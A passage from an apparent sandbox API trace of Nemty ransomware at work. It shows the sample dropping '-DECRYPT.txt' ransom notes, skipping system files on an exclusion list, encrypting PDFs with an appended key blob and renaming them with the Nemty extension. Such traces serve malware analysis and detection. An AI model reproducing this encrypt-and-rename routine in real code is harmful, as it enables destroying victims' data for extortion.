lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0187.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0187.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0187.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0187.932] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.932] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0187.932] CloseHandle (hObject=0x2f0) returned 1 [0187.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0187.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0187.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0187.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0187.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0187.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0187.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.934] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.934] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0187.935] CloseHandle (hObject=0x2f0) returned 1 [0187.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0187.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0187.935] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23a99950, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23a99950, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0187.935] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0187.935] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23a99950, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23a99950, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0187.935] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0187.935] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0187.935] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcadf, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.935] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0187.936] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0187.936] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0187.936] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0187.936] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.936] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0187.936] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0187.936] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0187.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0187.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0187.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.936] Sleep (dwMilliseconds=0x5) [0187.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23abfab0, dwHighDateTime=0x1d561e8)) [0187.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23abfab0, dwHighDateTime=0x1d561e8)) [0187.947] GetLastError () returned 0xb7 [0187.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.947] GetLastError () returned 0xb7 [0187.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.947] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.947] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.947] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.947] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="k9UJLISITNexW/6ju+KOaTxnfgMozyB2zKS9RvFJFrrhmEiJHu3hl+zsNfoWtZ77\r\n64An7am//g63PHe5KlNkofbJPwopw91n1XtUrSk58H8Glr2EOY7U2RNH+xc//+xb\r\nCwNyB8aP9a38NsFSSGW1sl+/BD8+BK7RheMgANJQ3v9Y0VzLMP99uDCjh2Tzk9Ox\r\nqTz2TETBn81JjLASnvGdTEbbIwrhW1YSd9ALTzx9buxB6R9N0ghwWkZ02B03f0E4\r\nNFgHqeOGEId9gTal9X5667T87nufCOUgw4UvuhBSqY5AHyHb+d2ON+HNwcZPpkNS\r\nOaZ5BZxjHEha/9KZUPVW1Q==\r\n", pcchString=0x653df5c) returned 1 [0187.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.947] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.948] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=51935) returned 1 [0187.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xcad0) returned 0x6352c48 [0187.948] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.948] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xcad0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xcad0, lpOverlapped=0x0) returned 1 [0187.998] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.998] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xcad0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xcad0, lpOverlapped=0x0) returned 1 [0187.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.998] SetFilePointer (in: hFile=0x320, lDistanceToMove=51935, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcadf [0187.998] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.998] CloseHandle (hObject=0x320) returned 1 [0187.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0187.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0187.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.999] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0188.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.000] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa36f, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0188.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0188.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0188.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0188.001] Sleep (dwMilliseconds=0x5) [0188.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23b58030, dwHighDateTime=0x1d561e8)) [0188.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23b58030, dwHighDateTime=0x1d561e8)) [0188.009] GetLastError () returned 0x0 [0188.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.009] GetLastError () returned 0x0 [0188.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 